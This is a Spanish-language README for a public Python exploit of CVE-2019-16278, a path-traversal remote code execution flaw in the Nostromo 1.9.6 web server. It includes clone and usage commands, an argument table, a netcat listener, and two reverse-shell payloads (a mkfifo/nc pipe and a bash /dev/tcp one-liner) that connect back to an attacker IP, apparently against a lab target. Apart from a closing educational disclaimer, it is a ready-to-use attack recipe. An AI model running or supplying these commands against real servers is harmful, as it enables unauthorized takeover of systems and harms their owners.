
Un atacante no autenticado puede forzar que el servidor apunte a un archivo shell como ‘/bin/sh’ y ejecutar comandos arbitrarios debido a la falla en la verificación de la URL, lo que conduce a un path traversal a cualquier archivo que exista en el sistema. Las versiones de Nostromo, como la 1.9.6, no verifican esta URL.
POC
Repositorio: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
Este repositorio contiene un exploit en Python para CVE-2019-16278, una vulnerabilidad en Nostromo 1.9.6 (un servidor web). La vulnerabilidad permite la Ejecución Remota de Código (RCE) aprovechando un directory traversal para ejecutar comandos arbitrarios en el sistema objetivo.
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]
Argumentos:
| Argumento | Descripción | Requerido | Por defecto |
|---|---|---|---|
| -t, --target | La dirección IP del objetivo | Sí | Ninguno |
| -p, --port | El puerto del objetivo | Sí | Ninguno |
| -c, --command | El comando a ejecutar en el servidor | Sí | Ninguno |
| -b, --bytes | Número de bytes a leer en la respuesta | No | 4096 |
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"
Paso 1: Iniciar un listener de Netcat en tu máquina atacante:
nc -lvnp 443
Paso 2: Ejecutar el exploit con un payload de reverse shell:
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
Esta herramienta está destinada únicamente para fines educativos. No la uses en sistemas que no poseas o para los cuales no tengas permiso explícito de prueba. El acceso no autorizado a sistemas es ilegal. Úsala de manera responsable.